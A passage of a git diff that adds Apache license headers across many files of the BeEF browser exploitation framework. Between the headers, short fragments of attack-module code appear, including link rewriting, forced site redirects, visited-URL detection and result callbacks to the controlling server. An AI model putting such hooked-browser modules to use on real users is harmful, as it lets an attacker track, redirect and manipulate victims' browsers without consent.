MSF by changing extension:metasploit:enable to true # Then set msf_callback_host to be the public IP of your MSF server # diff --git a/extensions/metasploit/dbmigration.rb b/extensions/metasploit/dbmigration.rb index c5bad97aa..02b39e9ac 100644 --- a/extensions/metasploit/dbmigration.rb +++ b/extensions/metasploit/dbmigration.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Metasploit diff --git a/extensions/metasploit/extension.rb b/extensions/metasploit/extension.rb index 3a496da6a..4db03c885 100644 --- a/extensions/metasploit/extension.rb +++ b/extensions/metasploit/extension.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Metasploit diff --git a/extensions/metasploit/filters.rb b/extensions/metasploit/filters.rb index f18d76c6b..6c3d900f7 100644 --- a/extensions/metasploit/filters.rb +++ b/extensions/metasploit/filters.rb @@ -1,4 +1,19 @@ # +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# # We extend the default filters to include the filters for Metasploit # module BeEF diff --git a/extensions/metasploit/msfcommand.rb b/extensions/metasploit/msfcommand.rb index 0d662529d..ead4d59b2 100644 --- a/extensions/metasploit/msfcommand.rb +++ b/extensions/metasploit/msfcommand.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Modules module Commands diff --git a/extensions/metasploit/rpcclient.rb b/extensions/metasploit/rpcclient.rb index 2f99b122e..9668d53e6 100644 --- a/extensions/metasploit/rpcclient.rb +++ b/extensions/metasploit/rpcclient.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Metasploit diff --git a/extensions/proxy/api.rb b/extensions/proxy/api.rb index 17b5cc3e0..fab0b0395 100644 --- a/extensions/proxy/api.rb +++ b/extensions/proxy/api.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Proxy diff --git a/extensions/proxy/base.rb b/extensions/proxy/base.rb index 5b59f7886..2c085b8b9 100644 --- a/extensions/proxy/base.rb +++ b/extensions/proxy/base.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Proxy diff --git a/extensions/proxy/config.yaml b/extensions/proxy/config.yaml index 57b3f9e4a..4115b6f47 100644 --- a/extensions/proxy/config.yaml +++ b/extensions/proxy/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: extension: proxy: diff --git a/extensions/proxy/extension.rb b/extensions/proxy/extension.rb index 01d08a408..503383810 100644 --- a/extensions/proxy/extension.rb +++ b/extensions/proxy/extension.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Proxy diff --git a/extensions/proxy/handlers/zombie/handler.rb b/extensions/proxy/handlers/zombie/handler.rb index 40bcce85b..945b70b9a 100644 --- a/extensions/proxy/handlers/zombie/handler.rb +++ b/extensions/proxy/handlers/zombie/handler.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Proxy diff --git a/extensions/proxy/zombie.rb b/extensions/proxy/zombie.rb index e607e2217..631d8e9cf 100644 --- a/extensions/proxy/zombie.rb +++ b/extensions/proxy/zombie.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Proxy diff --git a/extensions/requester/api.rb b/extensions/requester/api.rb index 4e2985330..53073a5d6 100644 --- a/extensions/requester/api.rb +++ b/extensions/requester/api.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Requester diff --git a/extensions/requester/api/hook.rb b/extensions/requester/api/hook.rb index a755bf983..30331e0bb 100644 --- a/extensions/requester/api/hook.rb +++ b/extensions/requester/api/hook.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Requester diff --git a/extensions/requester/extension.rb b/extensions/requester/extension.rb index d0b373e93..6fbfca43b 100644 --- a/extensions/requester/extension.rb +++ b/extensions/requester/extension.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Requester diff --git a/extensions/requester/filters.rb b/extensions/requester/filters.rb index 6b8e841c1..240d7aa84 100644 --- a/extensions/requester/filters.rb +++ b/extensions/requester/filters.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Filters diff --git a/extensions/requester/handler.rb b/extensions/requester/handler.rb index 02c787f29..b0c33fce6 100644 --- a/extensions/requester/handler.rb +++ b/extensions/requester/handler.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module Requester diff --git a/extensions/requester/models/http.rb b/extensions/requester/models/http.rb index da5a174dc..0e7776333 100644 --- a/extensions/requester/models/http.rb +++ b/extensions/requester/models/http.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core module Models diff --git a/install b/install index 1cea40c30..f37ccf3e4 100644 --- a/install +++ b/install @@ -1,4 +1,21 @@ #!/usr/bin/env ruby + +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + require 'rubygems' puts "\nWelcome to the BEeF installer!" diff --git a/modules/browser/detect_details/command.js b/modules/browser/detect_details/command.js index 8cb62ae58..43e73de92 100644 --- a/modules/browser/detect_details/command.js +++ b/modules/browser/detect_details/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { function serialize(_obj) diff --git a/modules/browser/detect_details/config.yaml b/modules/browser/detect_details/config.yaml index 5d816008b..9e62be93f 100644 --- a/modules/browser/detect_details/config.yaml +++ b/modules/browser/detect_details/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: detect_details: diff --git a/modules/browser/detect_details/module.rb b/modules/browser/detect_details/module.rb index da13caaee..2ce5577ff 100644 --- a/modules/browser/detect_details/module.rb +++ b/modules/browser/detect_details/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Detect_details < BeEF::Core::Command def initialize diff --git a/modules/browser/detect_plugins/command.js b/modules/browser/detect_plugins/command.js index fa0ac252c..cf71f9cad 100644 --- a/modules/browser/detect_plugins/command.js +++ b/modules/browser/detect_plugins/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { function serialize(_obj) diff --git a/modules/browser/detect_plugins/config.yaml b/modules/browser/detect_plugins/config.yaml index 512b48448..ffa9f2ee7 100644 --- a/modules/browser/detect_plugins/config.yaml +++ b/modules/browser/detect_plugins/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: detect_plugins: diff --git a/modules/browser/detect_plugins/module.rb b/modules/browser/detect_plugins/module.rb index ae472f08f..0e412140b 100644 --- a/modules/browser/detect_plugins/module.rb +++ b/modules/browser/detect_plugins/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Detect_plugins < BeEF::Core::Command def initialize diff --git a/modules/browser/detect_screen_details/command.js b/modules/browser/detect_screen_details/command.js index f186614ca..204f1464e 100644 --- a/modules/browser/detect_screen_details/command.js +++ b/modules/browser/detect_screen_details/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { function serialize(_obj) diff --git a/modules/browser/detect_screen_details/config.yaml b/modules/browser/detect_screen_details/config.yaml index faa224f90..2721e980b 100644 --- a/modules/browser/detect_screen_details/config.yaml +++ b/modules/browser/detect_screen_details/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: detect_screen_details: diff --git a/modules/browser/detect_screen_details/module.rb b/modules/browser/detect_screen_details/module.rb index d6b3904d5..399d605e9 100644 --- a/modules/browser/detect_screen_details/module.rb +++ b/modules/browser/detect_screen_details/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Detect_screen_details < BeEF::Core::Command def initialize diff --git a/modules/browser/detect_scripts_support/command.js b/modules/browser/detect_scripts_support/command.js index d81256078..ea084d3cd 100644 --- a/modules/browser/detect_scripts_support/command.js +++ b/modules/browser/detect_scripts_support/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { function serialize(_obj) diff --git a/modules/browser/detect_scripts_support/config.yaml b/modules/browser/detect_scripts_support/config.yaml index 47447ea7c..daefc57db 100644 --- a/modules/browser/detect_scripts_support/config.yaml +++ b/modules/browser/detect_scripts_support/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: detect_scripts_support: diff --git a/modules/browser/detect_scripts_support/module.rb b/modules/browser/detect_scripts_support/module.rb index d9f79b485..c013d5a29 100644 --- a/modules/browser/detect_scripts_support/module.rb +++ b/modules/browser/detect_scripts_support/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Detect_scripts_support < BeEF::Core::Command def initialize diff --git a/modules/browser/detect_visited_urls/command.js b/modules/browser/detect_visited_urls/command.js index 42a259d3c..1c3c0eda3 100644 --- a/modules/browser/detect_visited_urls/command.js +++ b/modules/browser/detect_visited_urls/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { var results = beef.browser.hasVisited("<%== format_multiline(@urls) %>"); var comp = ''; diff --git a/modules/browser/detect_visited_urls/config.yaml b/modules/browser/detect_visited_urls/config.yaml index 2185f624e..0c51a466a 100644 --- a/modules/browser/detect_visited_urls/config.yaml +++ b/modules/browser/detect_visited_urls/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: detect_visited_urls: diff --git a/modules/browser/detect_visited_urls/module.rb b/modules/browser/detect_visited_urls/module.rb index b7289f709..2d24ecfe4 100644 --- a/modules/browser/detect_visited_urls/module.rb +++ b/modules/browser/detect_visited_urls/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Detect_visited_urls < BeEF::Core::Command def initialize diff --git a/modules/browser/link_rewrite/command.js b/modules/browser/link_rewrite/command.js index 0bca8f0cc..a4c8aac51 100644 --- a/modules/browser/link_rewrite/command.js +++ b/modules/browser/link_rewrite/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinks('<%= @url %>', '<%= @selector %>')+' links rewritten to <%= @url %>'); }); diff --git a/modules/browser/link_rewrite/config.yaml b/modules/browser/link_rewrite/config.yaml index 0480663c9..9afbb1f8b 100644 --- a/modules/browser/link_rewrite/config.yaml +++ b/modules/browser/link_rewrite/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: link_rewrite: diff --git a/modules/browser/link_rewrite/module.rb b/modules/browser/link_rewrite/module.rb index 6590c666e..82cef9b0b 100644 --- a/modules/browser/link_rewrite/module.rb +++ b/modules/browser/link_rewrite/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Link_rewrite < BeEF::Core::Command def initialize diff --git a/modules/browser/site_redirect/command.js b/modules/browser/site_redirect/command.js index af310802c..bc4f8d28c 100644 --- a/modules/browser/site_redirect/command.js +++ b/modules/browser/site_redirect/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Redirected to: <%= @redirect_url %>', function(){window.location = "<%= @redirect_url %>"}); diff --git a/modules/browser/site_redirect/config.yaml b/modules/browser/site_redirect/config.yaml index 7f2f09b9f..97d54a44c 100644 --- a/modules/browser/site_redirect/config.yaml +++ b/modules/browser/site_redirect/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: site_redirect: diff --git a/modules/browser/site_redirect/module.rb b/modules/browser/site_redirect/module.rb index 154fae999..fbc7b8396 100644 --- a/modules/browser/site_redirect/module.rb +++ b/modules/browser/site_redirect/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Site_redirect < BeEF::Core::Command def initialize diff --git a/modules/browser/site_redirect_iframe/command.js b/modules/browser/site_redirect_iframe/command.js index e179cf2b4..0c1fd540e 100644 --- a/modules/browser/site_redirect_iframe/command.js +++ b/modules/browser/site_redirect_iframe/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { var result = 'Iframe successfully created!'; diff --git a/modules/browser/site_redirect_iframe/config.yaml b/modules/browser/site_redirect_iframe/config.yaml index b2bcfac2a..9e6fa0098 100644 --- a/modules/browser/site_redirect_iframe/config.yaml +++ b/modules/browser/site_redirect_iframe/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: site_redirect_iframe: diff --git 